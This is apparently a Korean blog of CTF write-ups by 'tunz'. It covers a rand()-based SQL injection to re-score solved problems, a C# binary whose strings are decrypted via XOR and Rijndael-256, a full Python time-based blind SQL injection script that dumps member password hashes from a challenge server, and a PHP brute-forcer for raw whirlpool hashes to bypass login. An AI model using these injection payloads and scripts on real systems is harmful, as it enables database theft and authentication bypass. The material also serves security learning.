이 문제는 if문과 rand를 이용한 문제


수학문제 4문제가 주어지고, 다 풀면 원래는 700점이 한계인데, 3000점을 넘어야한다.


처음엔 blind injection을 통해 숨겨진 문제를 찾는거라 생각했다.

그래서 시간을 좀 많이 소모했다.


근데 블라인드 인젝션을 힘겹게 해서 데이터를 다 보고나니, 포인트가 있는 문제는 그 4개가 전부였다.


그렇다면, 방법은 1,2,3,4번 문제를 여러번 풀어야 한다는 소리인데..


파라메터를 조작해서 인젝션을 하다보면, 정답에 + or 1 like 1 #만 붙이면 클리어가 뜨는걸 알수 있다.


첫번째 쿼리에서 이미 풀었는지 확인을 하고, 

두번째 쿼리에서 문제의 포인트를 불러오고,

세번째 쿼리에서 불러온 포인트를 이용해 업데이트 한다.


이렇게 추측했다.


그렇다면 첫번째 쿼리와 두번째 쿼리에서 다른 문제를 불러오도록 한다면 될거라 생각했다.

첫번째에선 안풀었던 문제 번호를 불러오거나 대충 5번 이상의 문제번호를 불러도 안풀었다고 생각한다.

그리고 두번째 쿼리에선 1~4번 문제의 포인트를 불러오게 해야한다.

이건, mysql의 랜덤 함수를 이용해서 할수있다.


if(랜덤값이 1일경우,1,5)

라고 문제에 넣게 되면, 1또는 5가 랜덤으로 배정되기때문에 일정 확률로 already clear가 안뜬다.


즉, auth.php?p=if((select cast(rand()*2 as signed))=1,1,5)&k=1+or+1+like+1+#


이런식으로 넣어주면 되었던것 같다... (정확히는 기억이...)


이렇게 몇번 반복해서 시도하면 3000점이 넘는다

posted by tunz

peid를 통해서, 혹은 그냥 프로그램을 바로 켜봐도 느낌상 C# 파일이라는것을 확인할수 있다.


그러므로, net reflector를 이용해서 디컴파일했다.


코드를 쭉 살펴보다보면, 우리에게 보여주는 중요한 string은 암호화 되어있고


xor과 AES encrypt로 되어있다는것을 알수있다.


blocksize가 0x100이므로, Rijndael 방식중에서도 256비트라는것을 알수있고,


key값은 9e2ea73295c7201c5ccd044477228527 이다.

iv값도 key값과 같은 값을 사용한다.


그리고 중요한점은, utf-8방식으로 해야한다는것이다.


그래서 온라인상에 있는 rijndael decrypt 페이지에서는 안되더라..


그래서 처음엔 python으로 진행하다가 나중에 php를 이용해서 디코딩했다..


[python] 먼저 xor 디코딩


c = [ 0x3f, 30, 0x39, 0x2f, 20, 0x4e, 50, 0x36, 0x33, 5, 0x25, 0x29, 0x52, 40, 0x45, 30, 0x2a, 0x38, 0x24, 0x49, 60, 0x44, 0x4f, 0x56, 0x18, 0x49, 0x4c, 0x13, 9, 0x1b, 0x2a, 4, 0x52, 0x2a, 0x1c, 0x56, 0x4f, 11, 0x11, 0x3f, 0x17, 14, 0x30, 0x40 ]


af = ""
i=0
while i< len(c):
        af += chr(c[i] ^ 0x25 ^ 0x58)
        i = i+1

print af


[php] aes decrypt


class Foo {
        protected $mcrypt_cipher = MCRYPT_RIJNDAEL_256;
        protected $mcrypt_mode = MCRYPT_MODE_CBC;

        public function decrypt($key, $iv, $encrypted)
        {
                $iv_utf = mb_convert_encoding($iv, 'UTF-8');
                return mcrypt_decrypt($this->mcrypt_cipher, $key, base64_decode($encrypted), $this->mcrypt_mode, $iv_utf);
        }
}



$encrypted = "BcDRi3OKNxXT/U8cWEY4A92+e41ntfWy/Wa+2vlBjsM=";
$key = "9e2ea73295c7201c5ccd044477228527";
$iv = "9e2ea73295c7201c5ccd044477228527";

$foo = new Foo;
echo $foo->decrypt($key, $iv, $encrypted);


posted by tunz

전형적인 블라인드 인젝션 문제다.


contact를 하는 부분(이름,메일,question,메세지 보내는 부분)에서 인젝션이 가능하다.


question 파라메터를 이용해서 블라인드 인젝션을 했다.


그러면 멤버들의 비밀번호가 md5로 해쉬 되어있는걸 확인할수 있고


사전식으로 online md5 decoding 페이지들을 이용해서 디코딩이 가능하다.


그리고 소스보기를 통해 보면, 자바스크립트가 숨겨져있고, 숨겨진 로그인페이지가 있다는걸 알수 있다


그리고 나서 하나씩 로그인해보면 Hound 해킹을 의뢰한 사람과 시간이 나타난다.


[python]

import httplib,urllib;
import sys
import time

# Blind SQL injection

# setting
#toget = 'database()';
#toget = "(SELECT password from `member` where id=0x666c617368)" #flash
#toget = "(SELECT password from `member` where id=0x7a6f64696163)" #zodiac
#toget = "(SELECT password from `member` where id=0x6c656f70617264)" #leopard
toget = "(SELECT password from `member` where id=0x766963746f72)" #victor
#toget = "(SELECT min(`id`) from `member` where id > 0x766963746f72)"
#toget = "(SELECT group_concat(message) FROM contact)"
#toget = "(SELECT column_name FROM information_schema.columns WHERE table_name=0x6d656d626572 and table_schema=0x7468655f67726579  LIMIT "+sys.argv[1]+",1)"
#toget = "(SELECT table_name FROM information_schema.tables WHERE table_schema=0x7468655f67726579 LIMIT "+sys.argv[1]+",1)"
stage = 2
ck = 'PHPSESSID=equncg53svlebb0ic8u9oouc34';
referer = 'http://58.229.122.17:2218/contact.php'

print "[*] Stage1: Find Length of " + toget

answer = ""
length=0
i = 0
j = 1
k = 1
m = 1
while j <= stage:
        if j is 1:
                query = "if(length("+toget+")= "+str(k)+",SLEEP(2),1)"
        else:
                query = "if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1)=0x31,SLEEP(2),1) "
        val = urllib.urlencode({'question': query,'your_name':'a','your_email':'a@a.com','your_message':'a','contact_submitted':'send'})
        headers = { 'Accept':'text/html, application/xhtml+xml, */*', 'Content-type': 'application/x-www-form-urlencoded', 'Content-length': str(len(val)), 'Cookie': ck, 'Referer': referer, 'Accept-Language':'ko-KR','User-Agent':'User-Agent: Mozilla/5.0 (compatible; MSIE 10.6; hello; Trident/6.0)'}
        conn = httplib.HTTPConnection("58.229.122.17",2218)
        t1 = time.time()
        conn.connect()
        conn.request('POST','/contact.php',val,headers)
        response = conn.getresponse()
        data = response.read()
        conn.close()
        t2 = time.time()
        if j is 1:
                print "now: "+str(k)
                if (t2-t1) > 2:
                        length = k
                        print "[+] Length: " + str(length)
                        print "[*] Stage 2"
                        k = 1
                        j = 2 # go to stage 2
                        continue
                k = k+1
        else:
                if (t2-t1) > 2:
                        i += pow(2,8-m)
                        print str(m)+" "+str(i)
                if m is 8:
                        answer = answer+chr(i)
                        print "Find: " + answer
                        k = k+1
                        i=0
                        m=1
                        if k > length:
                                break
                m = m+1

print "Answer:" +answer



posted by tunz
  • 2013.05.30 02:43

    비밀댓글입니다

    • tunz 2013.05.30 03:01 신고

      POST뿐만 아니라, GET방식일때도 urlencoding을 해줘야 합니다.
      예를 들어서, 보내고싶은 value에 만약 "=" 이나 "&" 이라는 문자가 들어가있어버리면,
      asdfadf=val 을 할때, asdfasdf=osdk&oasd=&alsd
      이런식으로 꼬여버릴수가 있어서 urlencoding을 꼭 해줘야합니다.

  • 2013.05.30 05:06

    비밀댓글입니다

    • tunz 2013.05.30 12:11 신고

      banking이요???
      banking은 데이터를 json형식으로 전송했고,
      이 경우는 application/x-www-form-urlencoded 형식으로 전송했기때문에 그렇습니다.

비밀번호 해쉬를 하는데 세번째 인자가 true이다.


raw 형식으로 hash를 한다는것을 알수있다.


예전에 wargame에서 풀어본 경험이 있는데.. 아마 webhacking.kr에 있었던 문제 같았다.


경험이 있으므로.. 쉽게 풀었는데


예전엔 md5로 해쉬를 했는데, 이번엔 좀 다른방법으로 해쉬를 한다.


그러므로 새로 php를 짰고, 'or' 이나 '||' 이 들어있는 해쉬를 하나씩 돌려서 찾아봤고,


결과를 하나씩 넣어보다 보니 로그인 성공

(숫자 몇이 성공이었는지는 정확히 기억이 안난다)


비밀번호를 찾는 코드


$i의 값이 비밀번호다.


$i=0;

echo "start\n";

for ($i=119335433; $i<1000000000; $i++)
{
        $bh = $i;
        //echo $bh." ";
        $hashed = hash("whirlpool",$bh,true);
        if (eregi("'or'",$hashed) || eregi("'||'",$hashed))
        {
                echo "\n";
                echo "Answer: ";
                echo $bh;
                echo "\n";
                echo $hashed;
                break;
        }
}
echo "Done\n".$i;


posted by tunz
  • qwerrr 2013.03.04 21:50

    안녕하세요 혹시 메일 알수있을까요? 헤헤~ chamdasol@naver.com 메일주세요~